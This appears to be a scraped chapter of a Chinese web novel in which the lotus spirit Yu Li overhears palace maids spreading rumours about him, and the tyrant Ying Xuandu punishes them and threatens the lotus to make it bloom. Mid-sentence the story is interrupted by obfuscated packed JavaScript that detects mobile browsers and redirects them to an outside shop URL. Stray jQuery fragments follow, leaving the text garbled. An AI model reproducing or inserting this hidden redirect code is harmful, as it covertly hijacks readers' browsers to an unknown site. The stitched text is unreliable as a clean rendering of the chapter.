11. 十一章

作品:《暴君的家养金莲

    郁黎还不知道暴君正在来收拾他的路上,正在美梦之中不知天地为何物。


    梦中郁黎拿出那只小虫子,应玄渡得知是郁黎救了他一命后,感恩戴德痛哭流涕将他奉为国师,绫罗绸缎金银财宝流水似得的给他送来,还给他修建了一个超豪华的恒温水中宫殿。


    嘿嘿嘿……


    郁黎做着美梦笑了出声。


    迷迷糊糊之际,他好像听到了一些窃窃私语,似乎是在议论他的。


    “陛下这莲花也太邪门了,别的莲花早就枯了,就它一点变化都没有。”


    郁黎皱着眉睁开了眼,顺着声音的来源看去,是两个给炭盆添木炭的小宫女。


    这两个宫女是内务府派来的,明承殿上下的宫人和太监可不敢妄议这株陛下的心头宠莲花。


    关于自己的传言,他并不是一点都没听说过,毕竟如今这皇宫他来去自由,不管是明面上的还是暗地里的,见到的事情听到的话可太多了。


    他身上的不对劲明眼人都能看出不对,但应玄渡从来没有表过态,郁黎便也心安理得的装傻,混一日算一日。


    不混还能跑咋的?他又没法把自己的本体拔出来移走。


    不过……当着他的面这样蛐蛐他,给他造谣甩锅真的好吗?


    那宫女完全不知道自己的话都让蛐蛐的对象听了去,一边添着木炭一边小声的和同伴道:“你说,这莲花常青不败,听说还是十年不开花,好不容易长了个花苞,却好几个月了也没一点要开的迹象,真是奇了怪了。”


    另一个小宫女没回她,低着头认认真真的干活,她见状反而更来劲了,干脆连手上的活儿都停了下来,有些讳莫如深却又隐忍不住的说:“之前就有传言说这莲花是邪祟,这瞧着可真像那么一回事儿。”


    眼看着她越说越起劲,同行的宫女没忍住翻了个白眼:“少说两句吧,仔细被陛下听见丢了性命,到时候谁都保不了你。”


    那宫女讨了个没趣,讪讪的切了一声:“我也就是好奇说说罢了。”


    她也真怕隔墙有耳丢了性命,说罢略有些心虚的伸长了脖子四处张望了一下,发现并无人注意她们这个小角落后老老实实的闭上了嘴。


    两个小宫女添完炭火就神色匆匆的走了。


    郁黎看着两人远走的身影缓缓摇头,心想着明日恐怕就见不着她们了。


    这明成殿处处都是眼线,便是飞进了一只蚊子都会被发现,她们二人的对话又怎么可能会不被听见呢?


    经过昨夜的惊吓,如今的郁黎可学精了,他才不要为了无关紧要的人再次暴露自己了。


    他放了应玄渡的鸽子,还欺骗了他,这要是被逮到了,以应玄渡的睚眦必报的性格,是肯定会将他大卸八块的。


    藕带挖了凉拌,荷叶晒干了冲茶或是拿去做荷叶鸡,花苞掰了花瓣做莲花糕,说不定连花苞里没成型莲子都要剥了拿来做银耳莲子羹!


    这些事情那暴君可是绝对做得出来的!


    郁黎瑟瑟发抖,紧紧的抱住自己,决定这段时间都老老实实的呆在本体里哪都不去,避过了风头再说。


    没过多久,应玄渡回来了。


    他前脚刚踏入殿门,后脚就有个太监毕恭毕敬的上前,仔仔细细的将那两个宫女的对话一字不落的复述了一遍。


    应玄渡听完不置可否,只是随手道:“乱嚼舌根的按照宫规处置了便是,另一个撵出宫去,处理结果不用禀报寡人了。”


    轻描淡写的一句话就决定了两个宫女命运。


    那小太监领命而去。


    两人离莲花池有好些距离,音量也不算高,郁黎支长了耳朵才勉强听清楚了。


    听到应玄渡的处置后,他心道了一句果然,暴君还是那么冷血无情容不得一粒沙子,不过好在他也不是真的残暴嗜杀到黑白不分,只是把没犯错没乱说话的宫女撵出宫去,好歹是留住了性命。


    至于另一个就没那么幸运了,按照宫规,乱嚼舌根的要掌嘴杖责五十,这刑罚实施下去,人大概就废了。


    郁黎摇头叹息,但对那宫女同情不起一点来,谁让


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486649|202048||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她造谣一朵无辜又可怜的小莲花呢!


    郁黎是莲花精,又不是以德报怨的圣父!


    而且人总要为自己的言行付出代价的。


    郁黎出神之际,应玄渡不知何时已经走到了莲花池中心的亭子里,就站在围栏前方,手一伸就能摸着他的本体。


    昨夜直面应玄渡的场面太过凶险,郁黎直到现在都还有点心理阴影,加上还有点放了人鸽子被抓包的心虚,压根就不敢去看应玄渡此时的神色,所以第一时间就闭上了眼睛装死。


    眼睛不能直接视物但感官依旧是极其敏锐的,应玄渡的存在太过强烈,叫想要忽视都不能。


    也不知平日里入了夜很久才会回来的人怎么突然提前回来了,郁黎脑子乱糟糟的,一会儿想应玄渡是不是只单纯来赏莲放松心情,还是说其实是已经知道了那小太监就是他伪装的,来找他算账来了。


    郁黎惴惴不安了好半晌,但应玄渡却始终没有半点动静。


    他忍不住好奇的睁开眼去看,却见应玄渡似笑非笑的勾着唇角,眸色幽深晦暗。


    郁黎心里咯噔了一下,总感觉大事不妙。


    只见应玄渡抬手捏了捏他唯一的独苗苗小花苞,缓慢又平静的开口:“宫中谣言四起,都说寡人养的莲花是祸国的邪祟,说是因为寡人弑父杀兄德不配位才招致天谴。”


    “寡人原是不信的,可最近发生的桩桩件件,却令寡人不得不信了这说法了。”


    应玄渡知道郁黎肯定在这里,这番话也是他故意说给郁黎听的。


    他原本是想直接拆穿了小莲花的伪装逼他出来,但又怕真的把他吓跑了,思索了片刻,换了一个比较委婉的说辞。


    “再不开花,寡人就命人将你铲了。”


    他冷笑着威胁,但下一瞬又话锋一转,温柔又带着几分蛊惑人心的诱哄着:“只要你开了花,那寡人就信你只是普通的莲花,那些谣言全是无稽之谈。”


    这株小莲花贪玩又怕死得很,只要自己稍加威胁,他就不信这小莲花不肯乖乖出来。